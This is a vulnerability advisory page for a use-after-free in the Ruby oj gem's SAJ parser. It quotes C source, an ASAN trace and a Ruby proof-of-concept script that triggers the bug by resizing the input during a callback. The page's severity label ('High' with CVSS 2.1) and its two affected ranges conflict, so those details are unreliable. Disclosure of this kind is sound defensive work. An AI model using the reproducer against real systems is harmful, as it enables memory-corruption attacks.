Answer in brief
CVE-2026-54898 records a High severity (CVSS 2.1) vulnerability in Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation. The current sources do not mark it as known exploited. The current feed maps oj (rubygems), oj (rubygems). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 2.1. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps oj (rubygems), oj (rubygems). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| ojrubygems | <3.17.2 | 3.17.3 |
| ojrubygems | >=0 <3.17.3 | 3.17.3 |
Published upstream
Jun 19, 2026
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Jun 19, 2026
### Summary `Oj::Parser#parse` is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw `const byte *` pointer into the Ruby string's internal buffer. If a callback (e.g. `hash_start`) resizes the string — for example by calling `String#replace` with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at `parser.c:607` is a use-after-free. ### Version - **Software**: oj gem - **Affected**: all versions with `ext/oj/parser.c` - **Latest tested**: 3.17.1 (confirmed present) ### Details `ext/oj/parser.c`, `parser_parse` → `parse`: ```c static VALUE parser_parse(VALUE self, VALUE json) { const byte *ptr = (const byte *)StringValuePtr(json); // raw pointer into Ruby string // ... parse(p, ptr); // ptr used throughout; any realloc frees the backing buffer } ``` ```c // parser.c:607 static void parse(ojParser p, const byte *json) { const byte *b = json; // ... for (; '\0' != *b; b++) { // ← UAF: reads freed memory after callback resizes json ``` Ruby's `String#replace` (or `<<`, `gsub!`, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that `ptr` still points to. ASAN report: ``` ==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81 READ of size 1 at 0x51900008ed81 thread T0 #0 parse /ext/oj/parser.c:607 #1 parser_parse /ext/oj/parser.c:1408 0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f) freed by thread T0 here: #0 free #1 ruby_sized_xfree (libruby-3.3.so.3.3) Shadow bytes: [fd]fd fd fd fd fd ... (entire region freed) ``` ### Reproduce ```ruby require 'oj' class Mutator def initialize(json) = (@json = json; @done = false) def hash_start(key) return if @done; @done = true @json.replace('x' * 1_000_000) # triggers String realloc, frees original buffer end def hash_end(key); end def array_start(key); end def array_end(key); end def add_value(value, key); end end json = '{"a":1,"pad":"' + ('A' * 1000) + '","z":2}' parser = Oj::Parser.new(:saj) parser.handler = Mutator.new(json) parser.parse(json) ```
Quoted source text, attributed separately from HOL analysis.